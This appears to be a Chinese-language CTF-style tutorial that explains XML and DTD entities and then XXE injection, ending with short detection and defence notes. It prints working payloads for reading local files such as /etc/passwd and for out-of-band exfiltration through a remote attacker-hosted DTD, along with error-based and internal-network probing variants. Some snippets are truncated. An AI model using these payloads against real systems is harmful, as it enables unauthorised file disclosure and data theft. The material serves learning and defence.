XML&XXE漏洞
Reference
CTF XXE - MustaphaMond - 博客园 (cnblogs.com)
XML
什么是XML
XML(Extensible Markup Language)是一种广泛使用的标记语言,它设计用于存储和传输数据。XML提供了一种既有结构又灵活的方式来描述数据和数据之间的关系,使其在各种应用程序和网络服务中都非常有用。它是自描述的,这意味着标签本身就能描述数据的内容。
XML与HTML间的区别
- XML被设计为传输和存储数据,其焦点是数据的内容
- HTML被设计用来显示数据,其焦点是数据的外观
- HTML旨在显示信息,而XML旨在传输信息
XML文档结构
XML文档结构包括:
- XML声明
- DTD文档类型定义(可选)
- 文档元素
1 | <!--XML声明--> |
DTD
定义
XML的DTD(Document Type Definition)是一种用于定义XML文档结构的规范,它指定了文档中允许的元素、属性、实体和符合规范的XML文档应遵循的其他规则。
DTD可以存在于XML文档内部(内部DTD),也可以作为一个独立的外部文件(外部DTD)被多个XML文档共享。
主要组件
元素声明:定义文档中可以使用哪些元素以及这些元素的内容类型。例如:
1
<!ELEMENT book (title, author, year, price)>
这表示每个
<book>
元素必须包含一个<title>
、一个<author>
、一个<year>
和一个<price>
。属性声明:定义元素可以拥有的属性及其类型。例如:
1
<!ATTLIST book category CDATA #REQUIRED>
这表示
<book>
元素必须有一个category
属性,其类型为字符数据(CDATA),并且该属性是必需的。实体声明:定义常用数据的缩写。例如:
1
<!ENTITY publisher "John Wiley & Sons">
这允许在文档中多次引用
publisher
实体,而不是重复相同的文本。
实体声明
在XXE漏洞利用中,我们主要关注DTD中的实体声明方式
内部实体
内部实体可以理解为将特定的文本字符串赋值给一个名称,例如:
1 | <!DOCTYPE note [ |
外部实体
外部实体引用外部资源,比如文件或是Web资源。这些实体的声明指向资源的URI。
1 | <!DOCTYPE note [ |
外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:
参数实体
参数实体也可以分为内部和外部
1 | <!-- 内部参数实体 --> |
在DTD中引用参数实体时,使用 %
符号,并跟上实体的名称和分号,如下所示:
1 | %entityName; |
下面给出一个完整示例
1 | <!ENTITY % commonAttrs "id ID #REQUIRED author CDATA #IMPLIED"> |
需要注意的是参数实体与其他实体间在声明和引用方法上的区别
- 参数实体用
% name
声明,引用时用%name;
,只能在DTD中申明,DTD中引用。 - 其余实体直接用
name
声明,引用时用&name;
,只能在DTD中申明,可在xml文档中引用
局限性
- DTD语法相对简单,不能定义一些更复杂的数据类型和约束。
- 不支持命名空间,这在处理来自不同来源的XML数据时可能会导致问题。
- 可能容易受到某些类型的XML攻击,如XML注入攻击。
尽管XML Schema(XSD)提供了比DTD更复杂和功能丰富的数据验证工具,但DTD仍然因其简单性和广泛的支持而被广泛使用。
XML外部实体注入(XML External Entity)
XML 外部实体注入(也称为 XXE)是一种 Web 安全漏洞,允许攻击者干扰应用程序对 XML 数据的处理。
XXE为什么不叫XEE,主要是第二个单词External
也发x
的音
我们可以根据XEE漏洞的危害场景来分类利用方法,XXE 可以用来泄露文件、执行服务器端请求伪造(SSRF)、内网探测、执行远程代码以及拒绝服务攻击等
任意文件读取
XXE 最常见的利用方式之一是访问本地文件,从而泄露敏感信息。攻击者可以通过定义外部实体来访问系统文件
当然,在任意文件读取场景下,还可以细分为有回显和无回显
有回显
恶意引入外部实体
通过引入靶机的本地文件作为外部实体,可以直接读取靶机文件
1
2
3
4
5<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [
<!ENTITY rabbit SYSTEM "file:///flag" >
]>
<user><username>&rabbit;</username><password>123</password></user>恶意引入外部参数实体
我们也可以提前在dtd文件中将常见的敏感目录定义为外部实体,再通过外部参数实体引入
1
2
3
4
5
6<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://vps-ip/hack.dtd">
%file;
]>
<test>&hhh;</test>1
<!ENTITY hhh SYSTEM 'file:///etc/passwd'>
无回显
OOB
先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器(攻击服务器)xxx.xxx.xxx。
1
2
3
4
5
6<!DOCTYPE updateProfile [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./target.php">
<!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx/evil.dtd">
%dtd;
%send;
]>evil.dtd的内容,内部的%号要进行实体编码成%。
在XML中,当使用字符实体引用来表示特殊字符或者Unicode字符时,语法要求使用分号(
;
)来结束实体引用。1
2
3
4
%all;基于报错
当然,如果靶机不允许与其他服务器通信,我们也可以通过报错来读取文件
与刚刚OOB的方法上只用细微的差别,即远程传输的url处构造一个错误的url
示例如下
1
2
3<!-- xml.dtd -->
<!ENTITY % start "<!ENTITY % send SYSTEM 'file:///hhhhhhh/%file;'>">
%start;如果靶机防火墙不允许我们请求外网服务器DTD,可以尝试在靶机的已知DTD文件中新增一些实体内容
1
2
3
4
5
6
7
8
9
10
11
12<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "/usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % ISOamso '
<!ENTITY % eval "<!ENTITY &#x25; send SYSTEM 'file://hhhhhhhh/?%file;'>">
%eval;
%send;
'>
%remote;
]>
<message>1234</message>已知/usr/share/yelp/dtd/docbookx.dtd文件中会调用%ISOamso,继而调用eval和send
内网探测
将URI改成内网机器地址,我们就可以探测靶机内网中的主机和文件
1 | <?xml version="1.0" encoding="UTF-8"?> |
漏洞探测
XXE黑盒发现
- 当Content-Type或数据类型为xml时,尝试进行xml语言payload测试
即使Content-Type或数据类型不为xml,我们也可以尝试使用xml语言payload测试
XXE不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成文件中的XXE payload被执行。例如svg和excel引用
XXE白盒发现
- 在php源码中搜索处理XML的函数
- 追踪经常涉及到XML的功能
漏洞防御
- 禁用外部实体
- 过滤用户提交的XML数据